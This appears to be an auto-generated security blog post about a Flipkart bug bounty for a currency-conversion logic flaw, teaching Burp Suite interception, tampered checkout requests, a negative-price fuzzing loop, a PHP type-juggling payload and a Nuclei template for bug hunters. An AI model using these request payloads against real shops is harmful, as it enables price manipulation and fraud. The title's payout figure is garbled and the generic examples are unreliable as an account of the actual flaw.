The Math They Didn’t Teach You: How a Currency Conversion Flaw Earned a ,250 Bounty on Flipkart

Listen to this Post

Featured Image

Introduction:

Bug bounty hunting transforms everyday transactions into potential goldmines for ethical hackers. This article deconstructs a recent high-severity find on a major e-commerce platform, Flipkart, where improper currency conversion logic led to a significant financial payout. We will translate this real-world vulnerability into actionable technical knowledge for aspiring security professionals.

Learning Objectives:

  • Understand the technical mechanics behind improper currency conversion vulnerabilities.
  • Learn to identify and test for similar logical flaws in web applications.
  • Develop a methodology for crafting effective proof-of-concept exploits for bug bounty reports.

You Should Know:

  1. Intercepting and Manipulating API Requests with Burp Suite
    Most modern web apps like Flipkart handle transactions via API calls. Intercepting these requests is the first step to testing business logic.
    ` Intercepting a request (Burp Suite Proxy is running on localhost:8080)`
    `curl -x http://127.0.0.1:8080 https://api.example.com/checkout -H “Authorization: Bearer “`

Step-by-step guide:

  1. Configure your browser to use Burp Suite as a proxy (usually localhost:8080).
  2. Turn on interception in Burp’s “Proxy” > “Intercept” tab.
  3. Perform the action on the target website (e.g., adding an item to your cart and proceeding to checkout).
  4. Burp will capture the HTTP request. You can then send this request to Burp Repeater for manual manipulation of parameters like price, currency_code, or discount_value.

2. Crafting a Malicious Currency Conversion Request

The core of this vulnerability often lies in a request parameter that the client can control.

`POST /api/apply_discount HTTP/1.1`

`Host: checkout.flipkart.com`

`Content-Type: application/json`

`Authorization: Bearer `

`{“item_id”: “12345”, “original_price”: 1000, “currency”: “USD”, “discounted_price”: 0.01}`

Step-by-step guide:

  1. In Burp Repeater, identify the API endpoint responsible for calculating the final payment amount.
  2. Look for parameters that might be used in a currency conversion calculation, such as original_price, discounted_price, or currency_rate.
  3. Craft a JSON payload where you send an illogical value. For example, send a `discounted_price` that is higher than the original_price, or a negative value. The goal is to see if the server blindly trusts this client-side value without validating it against business logic.

3. Fuzzing Parameters for Logic Flaws

Automated fuzzing can help discover unexpected application behavior.

` Simple bash loop to fuzz a parameter with negative values`

`for i in {-100..100}; do`

` curl -s -X POST “https://api.target.com/calc” -d “price=$i” -H “Cookie: session=” | grep “final_price”`

`done`

Step-by-step guide:

  1. Use a tool like Burp Intruder or a custom script to fuzz parameters.
  2. Target parameters that influence pricing, such as quantity, coupon codes, or user loyalty points.
  3. Payloads should include negative numbers, extremely large numbers, zero, and decimals to test how the application handles edge cases. Analyze responses for anomalies like negative totals or overflows.

4. Bypassing Client-Side Validation

Client-side JavaScript validation is useless if the server doesn’t re-verify.

`// Client-side validation (can be bypassed)`

`function validatePrice(price) {`

` if (price < 0) {`

` alert(“Price cannot be negative!”);`

` return false;`

` }`

` return true;`

`}`

` Bypass by sending the request directly to the server API, skipping the browser’s JavaScript.`
`curl -X POST https://api.target.com/update-price -H “Content-Type: application/json” -d ‘{“new_price”: -50}’`

Step-by-step guide:

  1. Use browser developer tools to examine the JavaScript validating form inputs.
  2. Note the API endpoints that the front-end code calls.
  3. Craft a direct request to that endpoint using `curl` or Postman, sending values that would be blocked by the client-side code. This tests if the server performs its own validation.

5. Identifying and Exploiting Type Juggling Vulnerabilities (PHP)

If the backend is PHP, loose comparison operators (==) can cause unexpected behavior.
` Example: PHP type juggling where a string is compared to an integer`
` Request: currency_rate=”0e12345″ (which equals 0 as a float)`

` PHP: (float)”0e12345″ == 0 -> TRUE`

`curl -X POST “https://target.com/convert” -d “amount=100&from=USD&to=INR&rate=0e12345″`

Step-by-step guide:

  1. Identify points where the application converts currencies or applies numerical multipliers.
  2. Test parameters by submitting integer, string, and scientific notation values (e.g., 0e12345, 999e999).
  3. Observe if the application behaves illogically, such as converting a large amount to zero, indicating a type confusion vulnerability.

6. Automating Discovery with Nuclei Templates

Nuclei can scan for known vulnerability patterns, including business logic misconfigurations.
` Example custom Nuclei template for currency conversion flaws`

`id: flipkart-currency-conversion-flaw`

`info: …`

`http:`

` – method: POST`

` path:`

` – “{{BaseURL}}/api/apply_coupon”`

` body: ‘{“discount”: -100}’`

` matchers:`

` – type: word`

` words:`

` – “\”final_price\”: -“`

` – “\”error\”:\”\””`

` condition: and`

Step-by-step guide:

  1. Write a custom Nuclei template that targets specific API endpoints.
  2. Define a request that sends a malicious payload (e.g., a negative discount).
  3. Use matchers to identify successful exploitation in the response, such as a negative final price or a lack of an error message.
  4. Run the template against your target scope: nuclei -u https://target.com -t custom-template.yaml.

7. Crafting the Perfect Bug Bounty Report

A well-written report is crucial for triage and payout.

Step-by-step guide:

  1. Clear and concise (e.g., “Business Logic Flaw Allows Negative Pricing via Unvalidated Discount Parameter”).

2. Summary: Briefly describe the impact (financial loss).

  1. Steps to Reproduce: Numbered, detailed, and repeatable steps. Include all HTTP requests and responses (anonymized).
  2. Proof of Concept (PoC): Provide a video or screenshot showing the exploit from start to finish.
  3. Impact: Quantify the potential damage. Could an attacker purchase items for negative money? Get paid to shop?
  4. Remediation: Advise the company to implement server-side validation for all pricing and currency parameters.

What Undercode Say:

  • Client-Side Is Only a suggestion: Any parameter received from the client must be validated and sanitized on the server. Never trust the client.
  • Logic Over Code: This flaw wasn’t a classic buffer overflow or SQLi. It was a failure of business logic, which requires a deep understanding of how an application is supposed to work to find how it can be broken.
  • The Flipkart case is a textbook example of a vulnerability that automated scanners would almost certainly miss. It requires a human attacker to understand the context of a “discount” and think creatively about how to abuse it. This highlights the irreplaceable value of manual testing and ethical hackers who can think like adversaries. The $1,250 bounty is a testament to the high value companies place on discovering these complex, business-impacting logical flaws.

Prediction:

Business logic flaws, particularly in financial transaction systems, will become the next major attack frontier. As traditional vulnerabilities like SQL injection are increasingly automated and secured against, attackers will shift focus to the complex, often poorly documented logic that governs multi-step processes like checkout flows, currency conversions, and loyalty programs. We predict a significant rise in bounty payouts for such findings, forcing developers to adopt formal threat modeling and stricter server-side validation across all application layers.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Og Vedant – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky